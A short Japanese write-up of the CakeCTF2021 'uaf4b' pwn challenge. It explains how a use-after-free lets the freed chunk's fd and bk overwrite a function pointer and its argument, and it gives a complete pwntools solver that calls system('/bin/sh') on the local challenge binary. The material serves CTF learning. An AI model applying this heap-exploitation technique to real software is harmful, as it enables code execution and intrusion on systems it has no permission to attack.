uaf4b - CakeCTF2021(My solver)
uaf4b - CakeCTF2021(Official GitHub)
方針
Use after Free によって関数ポインタをsystem
関数で書き換える。
CAWSAY 構造体について
重要なのは、main.c
の47〜50行目の構造体である。
freed chunkでは、fn_dialogue
がfd
、message
がbk
に割り当てられる。
typedef struct {
void (*fn_dialogue)(char*);
char *message;
} COWSAY;
また、main.c
の167〜171行目で、
cowsay->fn_dialogue(cowsay->message);
が実行されることに留意しておく。
case 1:
/* Use cowsay */
printf("[+] You're trying to call 0x%016lx\n", (addr)cowsay->fn_dialogue);
cowsay->fn_dialogue(cowsay->message);
break;
malloced chunk
実際にmallocされたときのHeap領域は次の図のようになっている。
freed chunk
次に、freeすると、次の図のようになる。
system("/bin/sh")を呼び出す
この2つの図を見るとわかるように、関数ポインタfn_dialogue
の位置にfd
が割り当てられている。
つまり、fn_dialogue
をsystem
に、COWSAY->message = /bin/sh
にすれば、
system("/bin/sh")
が呼び出される。
Solver
from pwn import *
context(os = 'linux', arch = 'amd64')
context.log_level = 'debug'
io = process("./chall")
io.recvuntil("<system> = ")
system_addr = int(io.recvline(), 16)
io.sendlineafter("> ", "2")
io.sendlineafter("Message: ", "/bin/sh")
io.sendlineafter("> ", "4")
io.recvuntil("cowsay->message")
message_addr = int(io.recvuntil("|")[:16], 16)
print(f'{message_addr:x}')
io.sendlineafter("> ", "3") # free
io.sendlineafter("> ", "2") # fd ↓ # bk ↓
io.sendlineafter("Message: ", p64(system_addr) + p64(message_addr)) # system(/bin/sh)
io.sendlineafter("> ", "4")
io.sendlineafter("> ", "1")
io.interactive()